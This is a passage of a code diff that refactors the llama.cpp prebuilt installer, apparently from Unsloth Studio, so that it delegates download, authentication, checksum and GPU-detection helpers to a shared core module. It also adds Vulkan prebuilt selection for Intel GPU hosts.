-        hostname = urllib.parse.urlparse(url).hostname
-    except Exception:
-        return None
-    if not hostname:
-        return None
-    return hostname.lower()
-
-
-def should_send_github_auth(url: str | None) -> bool:
-    return parsed_hostname(url) in GITHUB_AUTH_HOSTS
-
-
-def should_send_hf_auth(url: str | None) -> bool:
-    return parsed_hostname(url) in HF_AUTH_HOSTS
+parsed_hostname = _core.parsed_hostname
+should_send_github_auth = _core.should_send_github_auth
+should_send_hf_auth = _core.should_send_hf_auth
 
 
 def auth_headers(url: str | None = None) -> dict[str, str]:
-    headers = {
-        "User-Agent": "unsloth-studio-llama-prebuilt",
-    }
-    token = os.environ.get("GH_TOKEN") or os.environ.get("GITHUB_TOKEN")
-    if token and should_send_github_auth(url):
-        headers["Authorization"] = f"Bearer {token}"
-        return headers
-    # Anonymous huggingface.co fetches share a per-IP rate limit that CI
-    # fleets exhaust (HTTP 429), sinking the prebuilt path into a source
-    # build. Authenticate when a token is available.
-    hf_token = os.environ.get("HF_TOKEN") or os.environ.get("HUGGING_FACE_HUB_TOKEN")
-    if hf_token and should_send_hf_auth(url):
-        headers["Authorization"] = f"Bearer {hf_token}"
-    return headers
+    return _core.auth_headers(_OPS, url)
 
 
-class _CrossHostAuthStrippingRedirectHandler(urllib.request.HTTPRedirectHandler):
-    """Drop Authorization when a redirect leaves the original host.
-
-    huggingface.co redirects file downloads to CDN hosts whose signed URLs
-    can reject foreign Authorization headers; urllib forwards headers to
-    redirect targets by default (requests/huggingface_hub strip them).
-    """
-
-    def redirect_request(self, req, fp, code, msg, headers, newurl):
-        new_request = super().redirect_request(req, fp, code, msg, headers, newurl)
-        if new_request is not None and parsed_hostname(newurl) != parsed_hostname(req.full_url):
-            new_request.headers.pop("Authorization", None)
-            new_request.unredirected_hdrs.pop("Authorization", None)
-        return new_request
-
-
-_URL_OPENER = urllib.request.build_opener(_CrossHostAuthStrippingRedirectHandler())
+_CrossHostAuthStrippingRedirectHandler = _core._CrossHostAuthStrippingRedirectHandler
+_URL_OPENER = _core._URL_OPENER
 
 
 def github_api_headers(url: str | None = None) -> dict[str, str]:
-    return {
-        "Accept": "application/vnd.github+json",
-        **auth_headers(url),
-    }
-
-
-def is_github_api_url(url: str | None) -> bool:
-    return parsed_hostname(url) == "api.github.com"
-
-
-def is_retryable_url_error(exc: Exception) -> bool:
-    if isinstance(exc, urllib.error.HTTPError):
-        # GitHub returns 403 (not the standard 429) when the API rate
-        # limit is hit. Anonymous calls share a 60-req/hour bucket per
-        # runner IP, which CI fleets can exhaust trivially. Treat 403
-        # against api.github.com as retryable so we get one or two
-        # backoff cycles before the source-build fallback fires; honour
-        # Retry-After / X-RateLimit-Reset in sleep_backoff for accurate
-        # waits. Real 403s on other hosts (private artefact downloads,
-        # auth failures) stay non-retryable.
-        if exc.code == 403:
-            return is_github_api_url(getattr(exc, "url", None))
-        return exc.code in RETRYABLE_HTTP_STATUS
-    if isinstance(exc, urllib.error.URLError):
-        return True
-    if isinstance(exc, TimeoutError):
-        return True
-    if isinstance(exc, socket.timeout):
-        return True
-    return False
+    return _core.github_api_headers(_OPS, url)
 
 
+is_github_api_url = _core.is_github_api_url
+is_retryable_url_error = _core.is_retryable_url_error
 _RATE_LIMIT_WAIT_CAP_SECONDS = 60.0
-
-
-def _http_error_retry_delay(exc: Exception) -> float | None:
-    """Extract a recommended wait from rate-limit headers on a 403/429.
-
-    Returns None when no header is present or the indicated wait is
-    longer than _RATE_LIMIT_WAIT_CAP_SECONDS (in which case the caller
-    should not block on it -- the source-build fallback is faster).
-    """
-    if not isinstance(exc, urllib.error.HTTPError):
-        return None
-    headers = getattr(exc, "headers", None)
-    if headers is None:
-        return None
-    retry_after = headers.get("Retry-After")
-    if retry_after and retry_after.strip().isdigit():
-        wait = float(retry_after.strip())
-        return wait if wait <= _RATE_LIMIT_WAIT_CAP_SECONDS else None
-    rate_reset = headers.get("X-RateLimit-Reset")
-    if rate_reset and rate_reset.strip().isdigit():
-        wait = float(rate_reset.strip()) - time.time()
-        if 0.0 < wait <= _RATE_LIMIT_WAIT_CAP_SECONDS:
-            return wait + 1.0  # +1s of slack so the bucket is fresh
-    return None
-
-
-def sleep_backoff(
-    attempt: int,
-    *,
-    base_delay: float = HTTP_FETCH_BASE_DELAY_SECONDS,
-    exc: Exception | None = None,
-) -> None:
-    delay = base_delay * (2 ** max(attempt - 1, 0))
-    header_delay = _http_error_retry_delay(exc) if exc is not None else None
-    if header_delay is not None:
-        delay = max(delay, header_delay)
-    delay += random.uniform(0.0, 0.2)
-    time.sleep(delay)
-
-
-def atomic_write_bytes(destination: Path, data: bytes) -> None:
-    destination.parent.mkdir(parents = True, exist_ok = True)
-    with tempfile.NamedTemporaryFile(
-        prefix = destination.name + ".tmp-",
-        dir = destination.parent,
-        delete = False,
-    ) as handle:
-        tmp_path = Path(handle.name)
-        handle.write(data)
-        handle.flush()
-        os.fsync(handle.fileno())
-    os.replace(tmp_path, destination)
-
-
-def atomic_replace_from_tempfile(tmp_path: Path, destination: Path) -> None:
-    destination.parent.mkdir(parents = True, exist_ok = True)
-    os.replace(tmp_path, destination)
+_http_error_retry_delay = _core._http_error_retry_delay
+sleep_backoff = _core.sleep_backoff
+atomic_write_bytes = _core.atomic_write_bytes
+atomic_replace_from_tempfile = _core.atomic_replace_from_tempfile
 
 
 def source_archive_logical_name(upstream_tag: str) -> str:
@@ -635,27 +461,9 @@ def exact_source_archive_logical_name(source_commit: str) -> str:
     return f"llama.cpp-source-commit-{source_commit}.tar.gz"
 
 
-def sha256_file(path: Path) -> str:
-    digest = hashlib.sha256()
-    with path.open("rb") as handle:
-        for chunk in iter(lambda: handle.read(1024 * 1024), b""):
-            digest.update(chunk)
-    return digest.hexdigest()
-
-
-def sha256_bytes(data: bytes) -> str:
-    return hashlib.sha256(data).hexdigest()
-
-
-def normalize_sha256_digest(value: str | None) -> str | None:
-    if not isinstance(value, str) or not value:
-        return None
-    lowered = value.lower()
-    if lowered.startswith("sha256:"):
-        lowered = lowered.split(":", 1)[1]
-    if len(lowered) != 64 or any(ch not in "0123456789abcdef" for ch in lowered):
-        return None
-    return lowered
+sha256_file = _core.sha256_file
+sha256_bytes = _core.sha256_bytes
+normalize_sha256_digest = _core.normalize_sha256_digest
 
 
 def normalize_source_ref_kind(value: str | None) -> str | None:
@@ -679,15 +487,7 @@ def normalize_source_commit(value: str | None) -> str | None:
 
 
 def validate_schema_version(payload: dict[str, Any], *, label: str) -> None:
-    schema_version = payload.get("schema_version")
-    if schema_version is None:
-        return
-    try:
-        normalized = int(schema_version)
-    except (TypeError, ValueError) as exc:
-        raise RuntimeError(f"{label} schema_version was not an integer") from exc
-    if normalized != 1:
-        raise RuntimeError(f"{label} schema_version={normalized} is unsupported")
+    _core.validate_schema_version(payload, label = label)
 
 
 def repo_slug_from_source(value: str | None) -> str | None:
@@ -853,127 +653,10 @@ def _published_windows_cuda_runtime(
     return f"{major}.{best}" if best is not None else None
 
 
-def format_byte_count(num_bytes: float) -> str:
-    units = ["B", "KiB", "MiB", "GiB", "TiB"]
-    value = float(num_bytes)
-    for unit in units:
-        if abs(value) < 1024.0 or unit == units[-1]:
-            if unit == "B":
-                return f"{int(value)} {unit}"
-            return f"{value:.1f} {unit}"
-        value /= 1024.0
-    return f"{num_bytes:.1f} B"
-
-
-def _progress_percent_step() -> int:
-    """Non-tty milestone granularity. The in-app updater sets
-    UNSLOTH_PROGRESS_PERCENT_STEP=5 to stream finer progress lines."""
-    try:
-        step = int(os.environ.get("UNSLOTH_PROGRESS_PERCENT_STEP", "25"))
-    except ValueError:
-        return 25
-    return min(max(step, 1), 50)
-
-
-class DownloadProgress:
-    def __init__(self, label: str, total_bytes: int | None) -> None:
-        self.label = label
-        self.total_bytes = total_bytes if total_bytes and total_bytes > 0 else None
-        self.start_time = time.monotonic()
-        self.last_emit = 0.0
-        term_ok = os.environ.get("TERM", "").lower() != "dumb"
-        self.stream = (
-            sys.stderr if sys.stderr.isatty() else sys.stdout if sys.stdout.isatty() else sys.stderr
-        )
-        self.is_tty = term_ok and self.stream.isatty()
-        self.completed = False
-        self.milestone_step = _progress_percent_step()
-        self.last_milestone_percent = -1
-        self.last_milestone_bytes = 0
-        self.has_rendered_tty_progress = False
-
-    def _render(
-        self,
-        downloaded_bytes: int,
-        *,
-        final: bool = False,
-    ) -> str:
-        elapsed = max(time.monotonic() - self.start_time, 1e-6)
-        speed = downloaded_bytes / elapsed
-        speed_text = f"{format_byte_count(speed)}/s"
-        if self.total_bytes is not None:
-            percent = min(100.0, (downloaded_bytes / self.total_bytes) * 100.0)
-            return (
-                f"{self.label}: {percent:5.1f}% "
-                f"({format_byte_count(downloaded_bytes)}/{format_byte_count(self.total_bytes)}) "
-                f"at {speed_text}"
-            )
-        if final:
-            return f"{self.label}: {format_byte_count(downloaded_bytes)} downloaded at {speed_text}"
-        return f"{self.label}: {format_byte_count(downloaded_bytes)} downloaded at {speed_text}"
-
-    def update(self, downloaded_bytes: int) -> None:
-        now = time.monotonic()
-        if self.is_tty:
-            elapsed = now - self.start_time
-            if not self.has_rendered_tty_progress:
-                if self.total_bytes is not None and downloaded_bytes >= self.total_bytes:
-                    return
-                if elapsed < TTY_PROGRESS_START_DELAY_SECONDS:
-                    return
-            min_interval = 0.2
-            if (
-                self.has_rendered_tty_progress
-                and not self.completed
-                and (now - self.last_emit) < min_interval
-            ):
-                return
-            self.last_emit = now
-            line = self._render(downloaded_bytes)
-            self.stream.write("\r\033[K" + line)
-            self.stream.flush()
-            self.has_rendered_tty_progress = True
-            return
-
-        should_emit = False
-        if self.total_bytes is not None:
-            percent = int((downloaded_bytes * 100) / max(self.total_bytes, 1))
-            step = self.milestone_step
-            milestone_percent = min((percent // step) * step, 100)
-            if milestone_percent > self.last_milestone_percent and milestone_percent < 100:
-                self.last_milestone_percent = milestone_percent
-                should_emit = True
-        else:
-            byte_step = 25 * 1024 * 1024
-            if (
-                downloaded_bytes - self.last_milestone_bytes >= byte_step
-                and (now - self.last_emit) >= 5.0
-            ):
-                self.last_milestone_bytes = downloaded_bytes
-                should_emit = True
-
-        if not should_emit:
-            return
-
-        self.last_emit = now
-        self.stream.write(self._render(downloaded_bytes) + "\n")
-        self.stream.flush()
-
-    def finish(self, downloaded_bytes: int) -> None:
-        self.completed = True
-        line = self._render(downloaded_bytes, final = True)
-        if self.is_tty:
-            if not self.has_rendered_tty_progress:
-                return
-            self.stream.write("\r\033[K")
-        else:
-            self.stream.write(line + "\n")
-        self.stream.flush()
-
-
-def download_label_from_url(url: str) -> str:
-    name = Path(urllib.parse.urlparse(url).path).name
-    return name or url
+format_byte_count = _core.format_byte_count
+_progress_percent_step = _core._progress_percent_step
+DownloadProgress = _core.DownloadProgress
+download_label_from_url = _core.download_label_from_url
 
 
 def download_bytes(
@@ -984,151 +667,30 @@ def download_bytes(
     headers: dict[str, str] | None = None,
     progress_label: str | None = None,
 ) -> bytes:
-    last_exc: Exception | None = None
-    for attempt in range(1, attempts + 1):
-        try:
-            request = urllib.request.Request(url, headers = headers or auth_headers(url))
-            with _URL_OPENER.open(request, timeout = timeout) as response:
-                total_bytes: int | None = None
-                content_length = response.headers.get("Content-Length")
-                if content_length and content_length.isdigit():
-                    total_bytes = int(content_length)
-                progress = DownloadProgress(progress_label, total_bytes) if progress_label else None
-                data = bytearray()
-                while True:
-                    chunk = response.read(1024 * 1024)
-                    if not chunk:
-                        break
-                    data.extend(chunk)
-                    if progress is not None:
-                        progress.update(len(data))
-                if progress is not None:
-                    progress.finish(len(data))
-                return bytes(data)
-        except Exception as exc:
-            last_exc = exc
-            if attempt >= attempts or not is_retryable_url_error(exc):
-                raise
-            log(f"fetch failed ({attempt}/{attempts}) for {url}: {exc}; retrying")
-            sleep_backoff(attempt, exc = exc)
-    assert last_exc is not None
-    raise last_exc
+    return _core.download_bytes(
+        _OPS,
+        url,
+        timeout = timeout,
+        attempts = attempts,
+        headers = headers,
+        progress_label = progress_label,
+    )
 
 
 def fetch_json(url: str) -> Any:
-    attempts = JSON_FETCH_ATTEMPTS if is_github_api_url(url) else 1
-    last_decode_exc: Exception | None = None
-    for attempt in range(1, attempts + 1):
-        try:
-            data = download_bytes(
-                url,
-                timeout = 30,
-                headers = github_api_headers(url) if is_github_api_url(url) else auth_headers(url),
-            )
-        except urllib.error.HTTPError as exc:
-            if exc.code == 403 and is_github_api_url(url):
-                hint = ""
-                if not (os.environ.get("GH_TOKEN") or os.environ.get("GITHUB_TOKEN")):
-                    hint = "; set GH_TOKEN or GITHUB_TOKEN to avoid GitHub API rate limits"
-                raise RuntimeError(f"GitHub API returned 403 for {url}{hint}") from exc
-            raise
-        if not data:
-            last_decode_exc = RuntimeError(f"downloaded empty JSON payload from {url}")
-        else:
-            try:
-                payload = json.loads(data.decode("utf-8"))
-            except (UnicodeDecodeError, json.JSONDecodeError) as exc:
-                last_decode_exc = RuntimeError(f"downloaded invalid JSON from {url}: {exc}")
-            else:
-                if not isinstance(payload, dict) and not isinstance(payload, list):
-                    raise RuntimeError(
-                        f"downloaded unexpected JSON type from {url}: {type(payload).__name__}"
-                    )
-                return payload
-        if attempt >= attempts:
-            assert last_decode_exc is not None
-            raise last_decode_exc
-        log(f"json fetch failed ({attempt}/{attempts}) for {url}; retrying")
-        sleep_backoff(attempt)
-    assert last_decode_exc is not None
-    raise last_decode_exc
+    return _core.fetch_json(_OPS, url)
 
 
 def download_file(url: str, destination: Path) -> None:
-    destination.parent.mkdir(parents = True, exist_ok = True)
-    last_exc: Exception | None = None
-    for attempt in range(1, HTTP_FETCH_ATTEMPTS + 1):
-        tmp_path: Path | None = None
-        try:
-            request = urllib.request.Request(url, headers = auth_headers(url))
-            with tempfile.NamedTemporaryFile(
-                prefix = destination.name + ".tmp-",
-                dir = destination.parent,
-                delete = False,
-            ) as handle:
-                tmp_path = Path(handle.name)
-                with _URL_OPENER.open(request, timeout = 120) as response:
-                    total_bytes: int | None = None
-                    content_length = response.headers.get("Content-Length")
-                    if content_length and content_length.isdigit():
-                        total_bytes = int(content_length)
-                    progress = DownloadProgress(f"Downloading {destination.name}", total_bytes)
-                    downloaded_bytes = 0
-                    while True:
-                        chunk = response.read(1024 * 1024)
-                        if not chunk:
-                            break
-                        handle.write(chunk)
-                        downloaded_bytes += len(chunk)
-                        progress.update(downloaded_bytes)
-                    progress.finish(downloaded_bytes)
-                handle.flush()
-                os.fsync(handle.fileno())
-            if not tmp_path.exists() or tmp_path.stat().st_size == 0:
-                raise RuntimeError(f"downloaded empty file from {url}")
-            atomic_replace_from_tempfile(tmp_path, destination)
-            return
-        except Exception as exc:
-            last_exc = exc
-            if tmp_path is not None:
-                try:
-                    tmp_path.unlink(missing_ok = True)
-                except Exception:
-                    pass
-            if attempt >= HTTP_FETCH_ATTEMPTS or not is_retryable_url_error(exc):
-                raise
-            log(f"download failed ({attempt}/{HTTP_FETCH_ATTEMPTS}) for {url}: {exc}; retrying")
-            sleep_backoff(attempt, exc = exc)
-    assert last_exc is not None
-    raise last_exc
+    _core.download_file(_OPS, url, destination)
 
 
 def download_file_verified(
     url: str, destination: Path, *, expected_sha256: str | None, label: str
 ) -> None:
-    normalized_expected = normalize_sha256_digest(expected_sha256)
-    if not normalized_expected:
-        download_file(url, destination)
-        log(f"downloaded {label} without a published sha256; relying on install validation")
-        return
-
-    for attempt in range(1, 3):
-        download_file(url, destination)
-        actual_sha256 = sha256_file(destination)
-        if actual_sha256 == normalized_expected:
-            log(f"verified {label} sha256={actual_sha256}")
-            return
-
-        log(
-            f"{label} checksum mismatch on attempt {attempt}/2: "
-            f"expected={normalized_expected} actual={actual_sha256}"
-        )
-        destination.unlink(missing_ok = True)
-        if attempt == 2:
-            raise PrebuiltFallback(
-                f"{label} checksum mismatch after retry: expected={normalized_expected} actual={actual_sha256}"
-            )
-        log(f"retrying {label} download after checksum mismatch")
+    _core.download_file_verified(
+        _OPS, url, destination, expected_sha256 = expected_sha256, label = label
+    )
 
 
 def upstream_source_archive_urls(tag: str) -> list[str]:
@@ -1162,21 +724,11 @@ def release_asset_download_url(
 
 
 def github_release_assets(repo: str, tag: str) -> dict[str, str]:
-    payload = fetch_json(
-        f"https://api.github.com/repos/{repo}/releases/tags/{urllib.parse.quote(tag, safe = '')}"
-    )
-    if not isinstance(payload, dict):
-        raise RuntimeError(f"unexpected release payload for {repo}@{tag}")
-    return release_asset_map(payload)
+    return _core.github_release_assets(_OPS, repo, tag)
 
 
 def github_release(repo: str, tag: str) -> dict[str, Any]:
-    payload = fetch_json(
-        f"https://api.github.com/repos/{repo}/releases/tags/{urllib.parse.quote(tag, safe = '')}"
-    )
-    if not isinstance(payload, dict):
-        raise RuntimeError(f"unexpected release payload for {repo}@{tag}")
-    return payload
+    return _core.github_release(_OPS, repo, tag)
 
 
 def github_releases(
@@ -1284,162 +836,6 @@ def synthetic_checksums_for_release(
     )
 
 
-def parse_direct_linux_release_bundle(
-    repo: str, release: dict[str, Any]
-) -> PublishedReleaseBundle | None:
-    release_tag = release.get("tag_name")
-    if not isinstance(release_tag, str) or not release_tag:
-        return None
-
-    assets = release_asset_map(release)
-    artifacts: list[PublishedLlamaArtifact] = []
-    inferred_labels: list[str] = []
-
-    linux_asset_re = re.compile(
-        r"^app-(?P<label>.+)-(?P<target>linux-x64(?:-cpu)?|linux-x64-cuda\d+-(?:older|newer|portable))\.tar\.gz$"
-    )
-    for asset_name in sorted(assets):
-        match = linux_asset_re.fullmatch(asset_name)
-        if not match:
-            continue
-        inferred_labels.append(match.group("label"))
-        target = match.group("target")
-        if target in {"linux-x64", "linux-x64-cpu"}:
-            artifacts.append(
-                PublishedLlamaArtifact(
-                    asset_name = asset_name,
-                    install_kind = "linux-cpu",
-                    runtime_line = None,
-                    coverage_class = None,
-                    supported_sms = [],
-                    min_sm = None,
-                    max_sm = None,
-                    bundle_profile = None,
-                    rank = 1000,
-                )
-            )
-            continue
-
-        bundle_profile = target.removeprefix("linux-x64-")
-        profile = _resolve_linux_bundle_profile(bundle_profile)
-        if profile is None:
-            continue
-        artifacts.append(
-            PublishedLlamaArtifact(
-                asset_name = asset_name,
-                install_kind = "linux-cuda",
-                runtime_line = str(profile["runtime_line"]),
-                coverage_class = str(profile["coverage_class"]),
-                supported_sms = [str(value) for value in profile["supported_sms"]],
-                min_sm = int(profile["min_sm"]),
-                max_sm = int(profile["max_sm"]),
-                bundle_profile = bundle_profile,
-                rank = int(profile["rank"]),
-            )
-        )
-
-    if not artifacts:
-        return None
-
-    upstream_tag = (
-        release_tag
-        if is_release_tag_like(release_tag)
-        else inferred_labels[0]
-        if len(set(inferred_labels)) == 1 and inferred_labels
-        else release_tag
-    )
-    selection_log = [
-        f"published_release: repo={repo}",
-        f"published_release: tag={release_tag}",
-        f"published_release: upstream_tag={upstream_tag}",
-        "published_release: direct_asset_scan=linux",
-    ]
-    return PublishedReleaseBundle(
-        repo = repo,
-        release_tag = release_tag,
-        upstream_tag = upstream_tag,
-        assets = assets,
-        manifest_asset_name = DEFAULT_PUBLISHED_MANIFEST_ASSET,
-        artifacts = artifacts,
-        selection_log = selection_log,
-    )
-
-
-def direct_linux_release_plan(
-    release: dict[str, Any], host: HostInfo, repo: str, requested_tag: str
-) -> InstallReleasePlan | None:
-    bundle = parse_direct_linux_release_bundle(repo, release)
-    if bundle is None:
-        return None
-    if not direct_release_matches_request(
-        release_tag = bundle.release_tag,
-        llama_tag = bundle.upstream_tag,
-        requested_tag = requested_tag,
-    ):
-        return None
-
-    attempts: list[AssetChoice] = []
-    if host.has_usable_nvidia:
-        # Prefer the cudart major Studio loads at runtime (torch's bundled
-        # libcudart), not the newest on disk. Otherwise a stray cuda13
-        # runtime outranks the torch cuda12 the binary links against.
-        torch_preference = detect_torch_cuda_runtime_preference(host)
-        selection = linux_cuda_choice_from_release(
-            host,
-            bundle,
-            preferred_runtime_line = torch_preference.runtime_line,
-            selection_preamble = torch_preference.selection_log,
-        )
-        if selection is not None:
-            attempts.extend(selection.attempts)
-    elif not host.has_rocm:
-        # A ROCm-only host gets no CPU asset: leaving attempts empty lets the
-        # raise below trigger a HIP source build instead of shipping a CPU
-        # binary on a GPU host (this ggml-org path has no per-gfx ROCm asset).
-        cpu_choice = published_asset_choice_for_kind(bundle, "linux-cpu")
-        if cpu_choice is not None:
-            attempts.append(cpu_choice)
-    # NVIDIA hosts whose CUDA selection produced nothing fall through to the
-    # raise below (mirroring the ROCm policy above): the caller then walks
-    # back to an older release that still ships a usable CUDA line instead of
-    # silently installing a CPU binary on a GPU host. Today's walk-back only
-    # works because partial releases ship no CPU bundle; this keeps it working
-    # if a future partial release does.
-    if not attempts:
-        raise PrebuiltFallback("no compatible Linux prebuilt asset was found")
-    approved_checksums = synthetic_checksums_for_release(
-        repo,
-        bundle.release_tag,
-        bundle.upstream_tag,
-    )
-    resolved_upstream_tag = bundle.upstream_tag
-    if DEFAULT_PUBLISHED_SHA256_ASSET in bundle.assets and not is_release_tag_like(
-        bundle.upstream_tag
-    ):
-        approved_checksums = load_approved_release_checksums(repo, bundle.release_tag)
-        # Require exact source provenance for branch/pull/commit releases.
-        # Mirrors validated_checksums_for_bundle so incomplete metadata fails
-        # closed instead of degrading to the legacy branch-as-tag source
-        # hydration path this PR eliminates.
-        if (
-            not approved_checksums.source_commit
-            or exact_source_archive_hash(approved_checksums) is None
-            or source_clone_url_from_checksums(approved_checksums) is None
-        ):
-            raise PrebuiltFallback(
-                f"approved checksum asset {DEFAULT_PUBLISHED_SHA256_ASSET} for "
-                f"{repo}@{bundle.release_tag} did not contain exact source provenance"
-            )
-        attempts = apply_approved_hashes(attempts, approved_checksums)
-    return InstallReleasePlan(
-        requested_tag = requested_tag,
-        llama_tag = resolved_upstream_tag,
-        release_tag = bundle.release_tag,
-        attempts = attempts,
-        approved_checksums = approved_checksums,
-    )
-
-
 def direct_upstream_release_plan(
     release: dict[str, Any], host: HostInfo, repo: str, requested_tag: str
 ) -> InstallReleasePlan | None:
@@ -1482,6 +878,24 @@ def direct_upstream_release_plan(
                         install_kind = "windows-hip",
                     )
                 )
+        # Intel (or other non-NVIDIA/non-AMD) GPU: use the Vulkan prebuilt. Gate
+        # on no PHYSICAL NVIDIA (not just no usable one): a host that hid NVIDIA
+        # via CUDA_VISIBLE_DEVICES must not reach Vulkan, which ignores that mask
+        # and could enumerate the reserved card. Falls through to CPU below.
+        elif host.has_intel_gpu and not host.has_physical_nvidia:
+            vulkan_asset = f"llama-{release_tag}-bin-win-vulkan-x64.zip"
+            vulkan_url = assets.get(vulkan_asset)
+            if vulkan_url:
+                attempts.append(
+                    AssetChoice(
+                        repo = repo,
+                        tag = release_tag,
+                        name = vulkan_asset,
+                        url = vulkan_url,
+                        source_label = "upstream",
+                        install_kind = "windows-vulkan",
+                    )
+                )
         cpu_asset = f"llama-{release_tag}-bin-win-cpu-x64.zip"
         cpu_url = assets.get(cpu_asset)
         if cpu_url:
@@ -1545,6 +959,23 @@ def direct_upstream_release_plan(
         # ROCm hosts are excluded: this ggml-org path ships no per-gfx ROCm
         # asset, so they fall through to the empty-attempts raise (HIP source
         # build) rather than silently getting a CPU binary on a GPU host.
+        # Intel (or other non-NVIDIA/non-AMD) GPU: use the Vulkan prebuilt. The
+        # elif already excludes usable NVIDIA and ROCm; also require no PHYSICAL
+        # NVIDIA so a CUDA-hidden card isn't reached through Vulkan (CPU below).
+        if host.has_intel_gpu and not host.has_physical_nvidia:
+            vulkan_asset = f"llama-{release_tag}-bin-ubuntu-vulkan-x64.tar.gz"
+            vulkan_url = assets.get(vulkan_asset)
+            if vulkan_url:
+                attempts.append(
+                    AssetChoice(
+                        repo = repo,
+                        tag = release_tag,
+                        name = vulkan_asset,
+                        url = vulkan_url,
+                        source_label = "upstream",
+                        install_kind = "linux-vulkan",
+                    )
+                )
         asset_name = f"llama-{release_tag}-bin-ubuntu-x64.tar.gz"
         asset_url = assets.get(asset_name)
         if asset_url:
@@ -1564,6 +995,23 @@ def direct_upstream_release_plan(
         # selector returned 0 attempts and the installer fell back to a
         # source build on every Linux ARM64 host (DGX Spark, Ampere
         # Altra, GitHub-hosted ubuntu-24.04-arm runners, etc.).
+        # Intel (or other non-NVIDIA/non-AMD) GPU: prefer the Vulkan prebuilt,
+        # mirroring the x86_64 branch. Upstream ships bin-ubuntu-vulkan-arm64.
+        # No physical NVIDIA: don't reach a CUDA-hidden card through Vulkan.
+        if host.has_intel_gpu and not host.has_physical_nvidia and not host.has_rocm:
+            vulkan_asset = f"llama-{release_tag}-bin-ubuntu-vulkan-arm64.tar.gz"
+            vulkan_url = assets.get(vulkan_asset)
+            if vulkan_url:
+                attempts.append(
+                    AssetChoice(
+                        repo = repo,
+                        tag = release_tag,
+                        name = vulkan_asset,
+                        url = vulkan_url,
+                        source_label = "upstream",
+                        install_kind = "linux-vulkan",
+                    )
+                )
         asset_name = f"llama-{release_tag}-bin-ubuntu-arm64.tar.gz"
         asset_url = assets.get(asset_name)
         if asset_url:
@@ -1643,10 +1091,7 @@ def resolve_simple_install_release_plans(
                 if not allow_older_release_fallback:
                     raise
                 release_tag = release.get("tag_name") or "unknown"
-                log(
-                    "published release skipped for install planning: "
-                    f"{repo}@{release_tag} ({exc})"
-                )
+                log(f"published release skipped for install planning: {repo}@{release_tag} ({exc})")
                 continue
 
             plans.append(plan)
@@ -1672,198 +1117,23 @@ def normalized_requested_llama_tag(requested_tag: str | None) -> str:
     return "latest"
 
 
-def normalize_compute_cap(value: Any) -> str | None:
-    raw = str(value).strip()
-    if not raw:
-        return None
-    if "." in raw:
-        parts = raw.split(".", 1)
-        if len(parts) != 2:
-            return None
-        major, minor = parts
-        if not major.isdigit() or not minor.isdigit():
-            return None
-        return f"{int(major)}{int(minor)}"
-    if raw.isdigit():
-        return str(int(raw))
-    return None
-
-
-def normalize_compute_caps(compute_caps: Iterable[str]) -> list[str]:
-    normalized: list[str] = []
-    seen: set[str] = set()
-    for raw in compute_caps:
-        normalized_value = normalize_compute_cap(raw)
-        if normalized_value is None:
-            continue
-        if normalized_value in seen:
-            continue
-        seen.add(normalized_value)
-        normalized.append(normalized_value)
-    normalized.sort(key = int)
-    return normalized
-
-
-def parse_cuda_visible_devices(value: str | None) -> list[str] | None:
-    if value is None:
-        return None
-    raw = value.strip()
-    if not raw or raw == "-1":
-        return []
-    return [token.strip() for token in raw.split(",") if token.strip()]
-
-
-def supports_explicit_visible_device_matching(visible_devices: list[str] | None) -> bool:
-    if not visible_devices:
-        return False
-    for token in visible_devices:
-        lowered = token.lower()
-        if token.isdigit() or lowered.startswith("gpu-"):
-            continue
-        return False
-    return True
-
-
-def select_visible_gpu_rows(
-    gpu_rows: Iterable[tuple[str, str, str]], visible_devices: list[str] | None
-) -> list[tuple[str, str, str]]:
-    rows = list(gpu_rows)
-    if visible_devices is None:
-        return rows
-    if not visible_devices:
-        return []
-
-    by_index = {index: (index, uuid, cap) for index, uuid, cap in rows}
-    by_uuid = {uuid.lower(): (index, uuid, cap) for index, uuid, cap in rows}
-    selected: list[tuple[str, str, str]] = []
-    seen_indices: set[str] = set()
-    for token in visible_devices:
-        row = by_index.get(token)
-        if row is None:
-            normalized_token = token.lower()
-            row = by_uuid.get(normalized_token)
-            if row is None and normalized_token.startswith("gpu-"):
-                row = by_uuid.get(normalized_token)
-            if row is None and not normalized_token.startswith("gpu-"):
-                row = by_uuid.get("gpu-" + normalized_token)
-        if row is None:
-            continue
-        index = row[0]
-        if index in seen_indices:
-            continue
-        seen_indices.add(index)
-        selected.append(row)
-    return selected
-
-
-def dir_provides_exact_library(directory: str | Path, library: str) -> bool:
-    if not library:
-        return False
-    candidate = Path(directory) / library
-    return candidate.exists() and (candidate.is_file() or candidate.is_symlink())
+normalize_compute_cap = _core.normalize_compute_cap
+normalize_compute_caps = _core.normalize_compute_caps
+parse_cuda_visible_devices = _core.parse_cuda_visible_devices
+supports_explicit_visible_device_matching = _core.supports_explicit_visible_device_matching
+select_visible_gpu_rows = _core.select_visible_gpu_rows
+dir_provides_exact_library = _core.dir_provides_exact_library
 
 
 def linux_runtime_dirs_for_required_libraries(required_libraries: Iterable[str]) -> list[str]:
-    required = [library for library in required_libraries if library]
-    candidates: list[str | Path] = []
-
-    env_dirs = os.environ.get("CUDA_RUNTIME_LIB_DIR", "")
-    if env_dirs:
-        candidates.extend(part for part in env_dirs.split(os.pathsep) if part)
-    ld_library_path = os.environ.get("LD_LIBRARY_PATH", "")
-    if ld_library_path:
-        candidates.extend(part for part in ld_library_path.split(os.pathsep) if part)
-
-    cuda_roots: list[Path] = []
-    for name in ("CUDA_HOME", "CUDA_PATH", "CUDA_ROOT"):
-        value = os.environ.get(name)
-        if value:
-            cuda_roots.append(Path(value))
-    cuda_roots.extend(Path(path) for path in glob_paths("/usr/local/cuda", "/usr/local/cuda-*"))
-
-    for root in cuda_roots:
-        candidates.extend(
-            [
-                root / "lib",
-                root / "lib64",
-                root / "targets" / "x86_64-linux" / "lib",
-            ]
-        )
-
-    candidates.extend(
-        Path(path)
-        for path in glob_paths(
-            "/lib",
-            "/lib64",
-            "/usr/lib",
-            "/usr/lib64",
-            "/usr/local/lib",
-            "/usr/local/lib64",
-            "/lib/x86_64-linux-gnu",
-            "/usr/lib/x86_64-linux-gnu",
-        )
-    )
-    candidates.extend(
-        Path(path) for path in glob_paths("/usr/local/lib/ollama/cuda_v*", "/usr/lib/wsl/lib")
-    )
-    candidates.extend(Path(path) for path in python_runtime_dirs())
-    candidates.extend(Path(path) for path in ldconfig_runtime_dirs(required))
-
-    resolved = dedupe_existing_dirs(candidates)
-    if not required:
-        return resolved
-
-    matched: list[tuple[int, str]] = []
-    for directory in resolved:
-        base = Path(directory)
